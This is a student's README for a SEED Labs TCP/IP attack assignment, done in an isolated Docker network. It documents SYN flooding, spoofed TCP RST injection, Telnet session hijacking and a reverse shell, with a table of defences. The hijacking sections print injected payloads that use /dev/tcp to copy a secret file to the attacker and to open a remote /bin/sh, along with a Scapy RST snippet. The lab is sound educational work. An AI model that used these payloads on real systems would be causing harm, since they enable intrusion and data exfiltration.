Course Assignment #1 | MS Cybersecurity | NUCES Islamabad
Student: Sarmad Farooq (25I-7722) | Instructor: Dr. Zafar Iqbal
This repository documents a hands-on TCP/IP attack lab performed as part of the Advanced Network Security course at FAST-NUCES Islamabad. All attacks were executed in a fully isolated virtual environment using SEED Labs infrastructure β no real networks or unauthorized systems were targeted.
The lab covers four core TCP/IP attack categories: SYN Flooding, TCP RST Attack, TCP Session Hijacking, and Reverse Shell via session hijacking. Each task is documented with step-by-step methodology, code, Wireshark captures, and analysis.
For Educational Purposes Only.
All attacks in this lab were conducted strictly within a controlled, isolated Docker-based virtual network. No real systems, external networks, or third-party machines were involved. Replicating these techniques on unauthorized systems is illegal and unethical.
| Component | Details |
|---|---|
| Host OS | SEED Ubuntu 20.04 VM |
| Attacker | Docker container (seed-attacker) |
| Victim | Docker container (victim-10.9.0.5) |
| Users | user1-10.9.0.6, user2-10.9.0.7 |
| Network | Isolated virtual bridge network |
| Docker | v19.03.8 + Docker Compose v1.27.4 |
| Tool | Purpose |
|---|---|
| Scapy | Packet crafting, spoofing, and injection |
| Wireshark | Packet capture and traffic analysis |
| tcpdump | CLI-based packet sniffing |
| Netcat (nc) | Reverse shell listener |
| Python 3 | Scripting SYN flood and session hijack attacks |
| GCC / C | Compiling high-speed SYN flood binary |
| Docker | Containerized victim/attacker environment |
tcp-ip-attack-lab/
β
βββ README.md # This file
βββ report/
β βββ 25I-7722_Assignment1.pdf # Full lab report (submitted)
β
βββ task1-syn-flood/
β βββ synflood.py # Python SYN flood script
β βββ synflood.c # C-based SYN flood program
β
βββ task2-rst-attack/
β βββ rst.py # TCP RST packet injection script
β
βββ task3-session-hijacking/
β βββ task3_hijacking.py # TCP session hijack + data exfiltration
β
βββ task4-reverse-shell/
βββ task4_hijacking.py # Reverse shell via TCP session hijacking
Objective: Exhaust the victim's TCP backlog queue by flooding it with spoofed SYN packets, preventing legitimate connections.
A SYN flood exploits the TCP three-way handshake. The attacker sends massive numbers of SYN packets with random spoofed source IPs, forcing the victim to allocate half-open connections (SYN_RECV state) until its Transmission Control Block (TCB) queue is full. Legitimate users then receive "Connection timed out."
- Task 1.1 β Python (Scapy): Slower rate; required reducing
tcp_max_syn_backlogto 50 to succeed. - Task 1.2 β C program: Much faster due to raw socket access and no interpreter overhead. Attack succeeded at default queue sizes.
- Task 1.3 β SYN Cookie Defense: Enabled via
sysctl -w net.ipv4.tcp_syncookies=1. Server encodes connection info in SYN-ACK sequence number β no queue allocation until valid ACK received. Attack neutralized.
# Reduce TCB queue (victim)
sysctl -w net.ipv4.tcp_max_syn_backlog=50
# Monitor half-open connections (victim)
ss -n state syn-recv sport = :23
# Enable SYN cookie defense (victim)
sysctl -w net.ipv4.tcp_syncookies=1
# Flush TCP metrics cache
ip tcp_metrics flush| Factor | Python | C |
|---|---|---|
| Execution | Interpreted | Compiled |
| Socket access | Via library | Raw socket |
| Overhead | High (GIL, interpreter) | Minimal |
| Packet rate | Low | Very high |
Objective: Terminate an active Telnet session between two hosts by injecting a spoofed TCP RST packet.
The attacker sniffs an active TCP session using Wireshark/tcpdump to extract:
- Source IP & port
- Destination IP & port
- Current sequence number
A forged RST packet is then crafted with Scapy, impersonating the client. The victim server receives the RST and immediately closes the connection.
from scapy.all import *
ip = IP(src="10.9.0.6", dst="10.9.0.5")
tcp = TCP(sport=39180, dport=23, flags="R", seq=3887566784)
pkt = ip/tcp
send(pkt, verbose=1)Wireshark confirmed RST packets in both directions (39180 β 23 [RST] and 23 β 39180 [RST]). The client session printed Connection closed by foreign host.
Objective: Inject malicious commands into an active, authenticated Telnet session to exfiltrate sensitive data from the victim.
- A legitimate Telnet session is established between User1 and the Victim.
- The attacker sniffs TCP parameters (src/dst IP, ports, sequence & acknowledgment numbers).
- A spoofed ACK packet is crafted carrying a shell command as payload.
- The victim executes the injected command, piping the output back to the attacker via
ncat.
data = "\ncat /home/seed/confidential/secret.txt > /dev/tcp/10.9.0.1/9090\n"
pkt = ip/tcp/data
send(pkt, verbose=0)nc -lnv 9090
# Output received: "Sarmad is Hacker"Objective: Gain full interactive shell access on the victim machine by injecting a reverse shell command into a hijacked TCP session.
Extending Task 3, the injected payload now launches /bin/sh on the victim and redirects I/O to the attacker's netcat listener β giving full shell control.
data = "\n/bin/sh -i > /dev/tcp/10.9.0.1/9090 2>&1 0<&1\n"| Attack | Defense Technique |
|---|---|
| SYN Flood | SYN Cookies (tcp_syncookies=1), rate limiting, firewall rules |
| TCP RST Attack | Encrypted sessions (SSH/TLS), sequence number randomization |
| Session Hijacking | Use of encrypted protocols (SSH instead of Telnet), TLS |
| Reverse Shell | Egress filtering, network segmentation, IDS/IPS |
Core lesson: Telnet is fundamentally insecure β all traffic is plaintext. Modern secure alternatives like SSH make all of these attacks significantly harder or impossible.
# 1. Extract lab setup
cd TCP_Attack_Lab && ls # confirm Labsetup folder
# 2. Build containers
cd Labsetup
docker-compose build
# 3. Start containers
docker-compose up -d
# 4. Verify running containers
dockps
# 5. Enter attacker container
docksh seed-attackerThe complete lab report with all screenshots, Wireshark captures, and analysis is available in:
π report/25I-7722_Assignment1.pdf
| Field | Details |
|---|---|
| Name | Sarmad Farooq |
| Student ID | 25I-7722 |
| Program | MS Cybersecurity |
| Institution | FAST-NUCES, Islamabad Campus |
| Course | Advanced Network Security |
| Instructor | Dr. Zafar Iqbal |
| Lab Source | SEED Labs β TCP/IP Attack Lab |
- SEED Labs TCP/IP Attack Lab β seedsecuritylabs.org
- Wenliang Du, Computer & Internet Security: A Hands-on Approach, 3rd Ed.
- RFC 793 β Transmission Control Protocol
- Linux
sysctldocumentation for TCP kernel parameters
β If you find this useful for learning, consider starring the repo.
All content is for educational and academic purposes only.